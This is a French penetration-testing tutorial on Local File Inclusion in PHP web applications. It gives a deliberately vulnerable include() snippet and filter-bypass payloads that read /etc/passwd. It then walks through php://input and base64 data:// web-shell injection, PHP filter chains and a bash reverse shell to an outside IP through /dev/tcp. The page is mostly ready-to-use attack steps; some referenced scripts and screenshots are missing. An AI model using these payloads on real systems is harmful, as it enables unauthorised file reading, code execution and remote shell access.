LFI - Techniques - Pentesting Web
LFI basique :
Vous trouverez ci-dessous quelques-uns des exemples les plus courants de LFI, avec des mesures de sécurité de plus en plus complexes :
La page récupère la valeur de "filename" de la requête HTTP, puis inclut le fichier correspondant dans l'exécution du code en faisant confiance à l'utilisateur pour ne pas changer le chemin dans l'URL.
<?php
$filename = $_GET['filename'];
include($filename);
?>Pour contourner cela, il suffit de spécifier le chemin dans la variable 'filename' : ?filename=/etc/passwd

Le site web effectue une petite sanitisation en limitant la sélection de fichiers au chemin /var/www/html/ comme suit :
Pour contourner cette sanitisation, nous pourrions remonter avec ../ plusieurs fois puis rediriger vers le répertoire souhaité comme ceci : ../../../../../../etc/passwd

Dans ce cas, les filtres empêchent de sortir du fichier /var/www/html/ et ne permettent pas le saut de répertoire normal : ../../../
Pour contourner cela, nous pouvons utiliser quatre points et deux barres ; chaque fois que nous supprimons ../, deux autres sont conservés : ....//....//....//....//....//....//....//....//etc/passwd

Dans de rares cas, des conditions spécifiques sont créées manuellement pour empêcher la recherche de certains répertoires, affichant une erreur si vous essayez de les trouver :
Cela est assez inutile car les fichiers peuvent toujours être trouvés en ajoutant certains caractères comme des barres obliques ou des points d'interrogation, et ils s'ouvriront toujours comme ceci : ../../../../../../etc/ho??s

Également, dans certaines anciennes versions de PHP où la recherche se fait uniquement par extension de fichier, nous devrions ajouter /etc/passwd%00 à la fin de l'URL.
LFI avec Burpsuite :
Avec Burpusuite, il est également possible d'effectuer des attaques LFI :
Interceptez une requête normale

Changez la méthode de GET à POST et ajoutez "php://input" pour introduire les données : <?php system("id"); ?>

Vous pouvez encoder avec le encodeur, par exemple, pour introduire des commandes avec cmd :

Changez la méthode de POST à GET et mettez les données comme ceci : data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2b&cmd=id

Filtrage de caractères PHP :
La vulnérabilité associée à l'absence d'un filtre de caractères approprié se produit lorsque une application web ne valide pas ou ne filtre pas correctement l'entrée de l'utilisateur, ce qui permet aux attaquants d'injecter des données malveillantes ou des caractères spéciaux dans les champs d'entrée.
Manuellement :
Si nous voulons injecter le mot 'hola' dans un fichier PHP, nous devrions faire ce qui suit :
Chaîne principale :
Copiez caractère par caractère dans ce script un après l'autre (à l'envers), séparés par |, et à la fin de chaque caractère, ajoutez ce qui suit pour éviter les erreurs : |convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|


Automatiquement :
Téléchargez le script :
Exécutez-le avec Python3 avec la chaîne que vous souhaitez convertir :
Exemple avec whoami :

Si vous le collez dans l'URL et que la commande est interprétée :

Pour avoir un accès à distance à la machine, permettez l'exécution de commandes cmd :
Mettez en écoute avec nc sur le port 443 :
Collez dans l'URL la traduction avec à la fin &cmd=bash -c "bash -i >%26 /dev/tcp/192.168.0.50/443 0>%261"
Pwned :)

Mis à jour
Ce contenu vous a-t-il été utile ?